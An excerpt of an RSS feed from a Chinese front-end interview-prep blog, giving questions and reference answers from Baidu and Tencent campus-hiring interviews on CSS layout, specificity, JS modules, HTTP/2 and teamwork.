&lt;p&gt;通过这两个项目，我不仅巩固了前端基础和框架应用能力，更重要的是，学习了如何在实际复杂项目中进行需求分析、技术选型、性能优化以及团队协作。这些经验让我对前端工程化和项目管理有了更深入的理解。&lt;/p&gt;</description></item><item><title>百度-文库-校招 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-45/round-61/</link><pubDate>Sat, 19 Jul 2025 07:40:07 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-45/round-61/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-45/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-45/round-62/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 本轮面试侧重于考察候选人的JavaScript基础知识、CSS布局能力、对浏览器工作原理的理解以及实际编码能力。重点在于事件循环、异步编程、闭包、原型链等核心概念，同时也涵盖了跨域、缓存等常见Web问题。&lt;/p&gt;
&lt;p&gt;本轮共 11 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-a49bd92d13fb"&gt;1. 实现一个三栏布局，左右侧固定200px，中间自适应，写出至少两种方案。追问：Grid布局中fr单位的作用？如何解决Flex布局的浏览器兼容问题？&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;CSS布局能力&lt;/strong&gt;：面试官想确认你是否熟练掌握现代CSS布局技术，如Flexbox和Grid，以及是否了解传统的布局方法。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;布局方案的优劣对比&lt;/strong&gt;：能否分析不同方案的适用场景和优缺点，体现出技术选型的思考能力。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CSS单位的理解&lt;/strong&gt;：对&lt;code&gt;fr&lt;/code&gt;这类现代布局单位的深入理解，表明你不是只会“复制粘贴”代码。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;兼容性处理经验&lt;/strong&gt;：在实际项目中如何处理浏览器兼容性问题，这是衡量工程师经验的重要指标。&lt;/li&gt;
&lt;/ol&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h5 id="11-原理说明"&gt;1.1 原理说明&lt;/h5&gt;
&lt;p&gt;三栏布局是前端开发中的经典布局问题，旨在实现一个两侧宽度固定、中间区域宽度自适应的页面结构。核心是处理中间区域如何填满剩余空间。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Flexbox（弹性盒子布局）&lt;/strong&gt;：是一种一维布局模型，它让容器内的项目（item）能够灵活地分配空间。通过设置父容器&lt;code&gt;display: flex&lt;/code&gt;，并为子项设置&lt;code&gt;flex-grow&lt;/code&gt;（放大比例）、&lt;code&gt;flex-shrink&lt;/code&gt;（缩小比例）和&lt;code&gt;flex-basis&lt;/code&gt;（基准大小），可以轻松实现空间的自适应分配。对于三栏布局，可以将中间栏的&lt;code&gt;flex-grow&lt;/code&gt;设为&lt;code&gt;1&lt;/code&gt;，使其占据所有剩余空间。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Grid（网格布局）&lt;/strong&gt;：是一种二维布局模型，可以将页面划分为行和列，并在这些行列构成的单元格中放置内容。通过&lt;code&gt;grid-template-columns&lt;/code&gt;属性，可以精确定义每一列的宽度，使用&lt;code&gt;fr&lt;/code&gt;单位可以非常方便地实现自适应。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;fr 单位&lt;/strong&gt;：&lt;code&gt;fr&lt;/code&gt;是 &amp;ldquo;fractional unit&amp;rdquo;（分数单位）的缩写，用于Grid布局中。它代表了可用空间的一等份。例如，&lt;code&gt;grid-template-columns: 200px 1fr 200px;&lt;/code&gt;意味着第一个和第三个元素宽度为&lt;code&gt;200px&lt;/code&gt;，中间的元素占据所有剩余的可用空间。如果是&lt;code&gt;1fr 2fr&lt;/code&gt;，则表示两者按1:2的比例分配可用空间。&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id="12-核心用法--示例代码"&gt;1.2 核心用法 + 示例代码&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;方案一：Flexbox 布局&lt;/strong&gt;这是目前最常用和推荐的方案，代码简洁且语义化。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;使用场景&lt;/strong&gt;：适用于绝大部分现代浏览器项目，尤其是一维方向（行或列）的布局。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;注意点&lt;/strong&gt;：需要注意旧版本浏览器的兼容性问题。&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;div class=&amp;#34;container-flex&amp;#34;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;div class=&amp;#34;left&amp;#34;&amp;gt;左侧固定&amp;lt;/div&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;div class=&amp;#34;main&amp;#34;&amp;gt;中间自适应&amp;lt;/div&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;div class=&amp;#34;right&amp;#34;&amp;gt;右侧固定&amp;lt;/div&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/div&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;style&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .container-flex {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; display: flex;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; height: 100vh;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .left, .right {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; width: 200px;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; background-color: #f0f0f0;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .main {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; flex: 1; /* 等同于 flex-grow: 1; flex-shrink: 1; flex-basis: 0%; */
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; background-color: #e0e0e0;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/style&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;方案二：Grid 布局&lt;/strong&gt;Grid布局在处理二维对齐时更具优势，实现三栏布局同样非常简单。&lt;/p&gt;</description></item><item><title>百度-文库-校招 · 第 1 轮 · 二面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-45/round-62/</link><pubDate>Sat, 19 Jul 2025 07:40:07 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-45/round-62/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-45/round-61/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-45/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 二面深入考察了前端核心知识的应用和原理理解。重点包括CSS优先级、闭包与内存管理、JavaScript继承的多种实现方式、原型链的深层理解、虚拟DOM的性能优化原理以及Vue框架的高级特性。题目更侧重于“为什么”和“如何实现”，要求候选人不仅知其然，更要知其所以然。&lt;/p&gt;
&lt;p&gt;本轮共 12 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-c29ace3f619f"&gt;1. 自我介绍，没有实习过。&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;沟通表达能力&lt;/strong&gt;：能否清晰、自信地介绍自己。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;潜力与热情&lt;/strong&gt;：在没有实习经历的情况下，如何通过个人项目、技术博客、开源贡献等来证明自己的技术热情和学习能力。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;求职动机&lt;/strong&gt;：为什么选择这个岗位和公司。&lt;/li&gt;
&lt;/ol&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;此题为个人经验总结，请根据自身情况作答。核心是突出自己的优势、学习能力和对前端的热情，用项目经验或学习成果来弥补实习经历的不足。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-0245f98e0d8a"&gt;2. 最终颜色是什么？为什么？&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;box&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;content&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;style&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;color:red&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;box&lt;/span&gt; { &lt;span style="color:#66d9ef"&gt;color&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;blue&lt;/span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;#content { &lt;span style="color:#66d9ef"&gt;color&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;green&lt;/span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;CSS优先级（Specificity）&lt;/strong&gt;：这是CSS核心概念之一，考察对不同选择器权重的理解和计算能力。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CSS规则来源&lt;/strong&gt;：是否了解行内样式、内部样式表、外部样式表的优先级关系。&lt;/li&gt;
&lt;/ol&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h5 id="11-原理说明"&gt;1.1 原理说明&lt;/h5&gt;
&lt;p&gt;CSS的&lt;strong&gt;优先级（Specificity）&lt;/strong&gt;，也常被称为&lt;strong&gt;特殊性&lt;/strong&gt;或&lt;strong&gt;权重&lt;/strong&gt;，是浏览器用来决定当多个规则应用到同一个元素上时，哪一条规则生效的计算方法。&lt;/p&gt;
&lt;p&gt;优先级的计算规则可以总结为一个四元组 &lt;code&gt;(a, b, c, d)&lt;/code&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;a: 行内样式（Inline styles）&lt;/strong&gt;：如 &lt;code&gt;style=&amp;quot;color: red;&amp;quot;&lt;/code&gt;。如果存在，&lt;code&gt;a&lt;/code&gt;为1，否则为0。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;b: ID选择器&lt;/strong&gt;：如 &lt;code&gt;#content&lt;/code&gt;。&lt;code&gt;b&lt;/code&gt;为ID选择器的数量。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;c: 类选择器、属性选择器、伪类选择器&lt;/strong&gt;：如 &lt;code&gt;.box&lt;/code&gt;, &lt;code&gt;[type=&amp;quot;text&amp;quot;]&lt;/code&gt;, &lt;code&gt;:hover&lt;/code&gt;。&lt;code&gt;c&lt;/code&gt;为这些选择器的总数量。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;d: 标签选择器、伪元素选择器&lt;/strong&gt;：如 &lt;code&gt;div&lt;/code&gt;, &lt;code&gt;::before&lt;/code&gt;。&lt;code&gt;d&lt;/code&gt;为这些选择器的总数量。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;比较规则&lt;/strong&gt;：从&lt;code&gt;a&lt;/code&gt;开始，逐位比较。&lt;code&gt;a&lt;/code&gt;大的胜出；如果&lt;code&gt;a&lt;/code&gt;相同，则比较&lt;code&gt;b&lt;/code&gt;，&lt;code&gt;b&lt;/code&gt;大的胜出；以此类推。只有在优先级完全相同时，才会根据样式在代码中出现的&lt;strong&gt;顺序&lt;/strong&gt;来决定，“后来者居上”。&lt;/p&gt;
&lt;p&gt;另外，&lt;code&gt;!important&lt;/code&gt;声明拥有最高优先级，它会覆盖任何其他声明，但应避免滥用。&lt;/p&gt;
&lt;h5 id="12-核心用法--示例代码"&gt;1.2 核心用法 + 示例代码&lt;/h5&gt;
&lt;p&gt;我们来分析题目中的三个样式规则：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;行内样式&lt;/strong&gt;：&lt;code&gt;style=&amp;quot;color:red&amp;quot;&lt;/code&gt;&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;优先级计算：&lt;code&gt;a=1, b=0, c=0, d=0&lt;/code&gt; -&amp;gt; &lt;strong&gt;(1, 0, 0, 0)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ID选择器&lt;/strong&gt;：&lt;code&gt;#content { color: green }&lt;/code&gt;&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;优先级计算：&lt;code&gt;a=0, b=1, c=0, d=0&lt;/code&gt; -&amp;gt; &lt;strong&gt;(0, 1, 0, 0)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;类选择器&lt;/strong&gt;：&lt;code&gt;.box { color: blue }&lt;/code&gt;&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;优先级计算：&lt;code&gt;a=0, b=0, c=1, d=0&lt;/code&gt; -&amp;gt; &lt;strong&gt;(0, 0, 1, 0)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;比较结果&lt;/strong&gt;：&lt;/p&gt;</description></item><item><title>百度-地图-秋招 · 第 1 轮 · 三面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-41/round-60/</link><pubDate>Sat, 19 Jul 2025 06:27:27 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-41/round-60/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-41/round-59/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-41/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;本轮共 7 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-645f514bf437"&gt;1. 讲一个你觉得最有成就感的项目？&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;这个问题的回答重点不在于项目多复杂，而在于是否能通过一个真实的项目，清晰地表达出在关键阶段的判断力、推动力和技术价值。能讲出一个对业务和团队产生正向影响的案例，并体现出“为什么重要”、“怎么做的”、“结果如何”以及“有哪些沉淀”，才是打动面试官的关键。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;这个问题考察的是候选人在复杂项目中的角色、思维方式以及实际落地能力。回答时不必拘泥于“成功上线”或“技术高大上”的标准，更重要的是能体现出技术价值、业务洞察和综合影响力。&lt;/p&gt;
&lt;p&gt;可以从以下几个方向展开：&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;1. 项目背景与挑战&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;项目是否处于关键节点（如业务转型、架构重构、性能瓶颈期），是否需要协调多个团队或跨端协作。重点在于说明“项目为什么重要”以及“初始面临的困难”，而不仅仅是“做了一个新功能”。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. 所承担的角色与关键决策&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;可以适当展示一些深度思考，比如为什么选用了某项技术、重构的策略、组件化拆分方式、数据模型设计等。还可以强调在混乱或模糊中推动落地、制定标准、推动流程优化等能力。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. 结果与影响&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;不仅仅是“功能上线”，更重要的是对业务、团队或系统带来了什么实质性的改进，比如性能提升、迭代效率变高、可维护性提升、用户体验改善、业务增长支持等。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. 成长与反思&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;有价值的项目往往伴随着“认知升级”，比如原来低估了技术债的影响，或者通过实际落地理解了“领域驱动设计”的意义。这个部分体现出个人复盘能力。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-68fff5a7d80c"&gt;2. 平时用哪个地图软件，你觉得百度地图和高德地图有什么区别？&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;这个问题背后考察的是候选人&lt;strong&gt;是否能够从日常使用中提炼出产品与技术的理解&lt;/strong&gt;。如果能结合体验差异、技术架构、场景适配和生态思考给出分析，而不是停留在“哪个好用”这类主观评价层面，将更容易体现出产品敏感度和技术视野。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;这个问题虽然看似轻松，其实背后是面试官在考察&lt;strong&gt;候选人是否具备产品意识、用户视角以及对技术背后的生态和体验差异的敏感度&lt;/strong&gt;。&lt;/p&gt;
&lt;h3 id="回答可以从以下几个方向展开"&gt;回答可以从以下几个方向展开：&lt;/h3&gt;
&lt;h4 id="1-使用习惯和使用场景"&gt;1. 使用习惯和使用场景&lt;/h4&gt;
&lt;p&gt;地图类产品往往不止于“导航”，不同场景下用户会对产品有不同诉求，例如：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;日常通勤更关注路线精准、避堵能力；&lt;/li&gt;
&lt;li&gt;出行规划更看重 POI（兴趣点）搜索能力；&lt;/li&gt;
&lt;li&gt;步行、骑行、公交路线推荐的体验也会有所差异。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;可以结合真实使用感受，说明更倾向哪一个地图工具，并说明选择背后的产品逻辑。&lt;/p&gt;
&lt;h4 id="2-产品体验差异"&gt;2. 产品体验差异&lt;/h4&gt;
&lt;p&gt;从前端视角，可以提到一些常见的 UI/UX 差异，例如：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;高德地图整体交互更轻量，响应更快，视觉上偏简洁；&lt;/li&gt;
&lt;li&gt;百度地图在信息展示上更丰富，比如搜索结果信息量较大，适合城市探索或综合决策；&lt;/li&gt;
&lt;li&gt;两者在加载速度、动效、地图渲染逻辑、图层处理等方面也有细节差异。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="3-数据能力与技术架构差异"&gt;3. 数据能力与技术架构差异&lt;/h4&gt;
&lt;p&gt;可适当提及：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;百度地图在自然语言搜索、智能推荐、AI 语义处理方面表现更突出；&lt;/li&gt;
&lt;li&gt;高德地图更注重实时交通、路线规划和精准避堵，背后依赖阿里生态中调度算法与实时数据的融合；&lt;/li&gt;
&lt;li&gt;技术开发角度，百度地图在 web 开发中更注重全家桶式工具链，而高德的 SDK 则更强调灵活性和接入效率。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="4-生态与平台联动"&gt;4. 生态与平台联动&lt;/h4&gt;
&lt;p&gt;从更高层次看，还可以提及两者在生态整合上的不同：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;高德地图与支付宝、饿了么、飞猪等联动，强调生活服务整合；&lt;/li&gt;
&lt;li&gt;百度地图则依托百度搜索、百度 AI、大模型、自动驾驶等形成了更 AI 驱动的生态闭环。&lt;/li&gt;
&lt;/ul&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-081be73e1a37"&gt;3. 在多人协作开发中，若遇到接口定义不一致或代码冲突，你会如何推动问题解决？&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;这个问题的核心在于&lt;strong&gt;是否具备跨人、跨团队推动协作问题闭环的能力&lt;/strong&gt;。能够主动定位问题源头、推动规范和工具落地、在冲突中引导沟通达成共识，是一个成熟前端在协作场景中的重要价值体现。回答不应仅限于“怎么解决”，更要体现出“如何避免”和“如何沉淀机制”。&lt;/p&gt;</description></item><item><title>百度-地图-秋招 · 第 1 轮 · 二面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-41/round-59/</link><pubDate>Sat, 19 Jul 2025 06:27:27 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-41/round-59/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-41/round-55/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-41/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-41/round-60/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 本轮面试考察了前端基础能力、网络协议、Vue响应式原理、构建工具底层实现，以及手写能力与业务建模能力，重点在于深入理解底层原理和综合解决问题的能力。&lt;/p&gt;
&lt;p&gt;本轮共 11 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-2b3736d3f494"&gt;1. 讲一下你的前端模块化的理解&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;模块化发展历程、ES Module 和 CommonJS 区别、模块加载机制、Tree-shaking原理。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;&lt;strong&gt;原理说明&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;模块化的目的&lt;/strong&gt;：为了提高代码的可维护性、复用性和依赖管理能力，将代码组织为独立模块。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;发展历程&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;无模块化（全局变量）&lt;/li&gt;
&lt;li&gt;IIFE 模式（立即执行函数）&lt;/li&gt;
&lt;li&gt;CommonJS（Node.js 标准，同步加载）&lt;/li&gt;
&lt;li&gt;AMD / CMD（异步模块定义）&lt;/li&gt;
&lt;li&gt;ES Module（ES6 标准模块系统，浏览器原生支持）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;CommonJS vs ES Module&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CommonJS 是同步加载，适用于服务端；ES Module 是静态分析+异步加载，适用于浏览器。&lt;/li&gt;
&lt;li&gt;ES Module 支持 Tree-shaking，CommonJS 不支持。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;核心用法 + 示例代码&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// ES Module
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;add&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;a&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;b&lt;/span&gt;) =&amp;gt; &lt;span style="color:#a6e22e"&gt;a&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;b&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;add&lt;/span&gt; } &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;./utils.js&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;常见误区&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;将 ES Module 和 CommonJS 混用，导致打包失败。&lt;/li&gt;
&lt;li&gt;忽视 ES Module 是静态结构，不能在运行时动态导入变量名模块（需使用 &lt;code&gt;import()&lt;/code&gt;）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-363169dded10"&gt;2. HTTP/2 解决 HTTP/1.1什么问题？&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;HTTP/2 优化点、HTTP/1.1 的瓶颈、性能原理&lt;/p&gt;</description></item><item><title>腾讯-视频-校招 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-44/round-58/</link><pubDate>Thu, 17 Jul 2025 14:02:21 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-44/round-58/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-44/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; - 考点覆盖：网络协议（HTTP/HTTPS、OSI、WebSocket、QUIC、CORS）、安全（XSS、缓存投毒）、性能优化（缓存、懒加载/预加载）、工程化（版本更新、路由）、Vue框架细节。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;难易度：中等偏上。前6题基础网络必会，7-10题需理解协议差异与实战场景，11-16题偏重安全与缓存的落地策略，17-20题考察框架原理与工程思维，梯度合理但深度要求高。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;本轮共 21 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-78e6f23a2378"&gt;1. 统计出现次数最多的字符以及出现的次数&lt;/h2&gt;
&lt;p&gt;题目描述：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
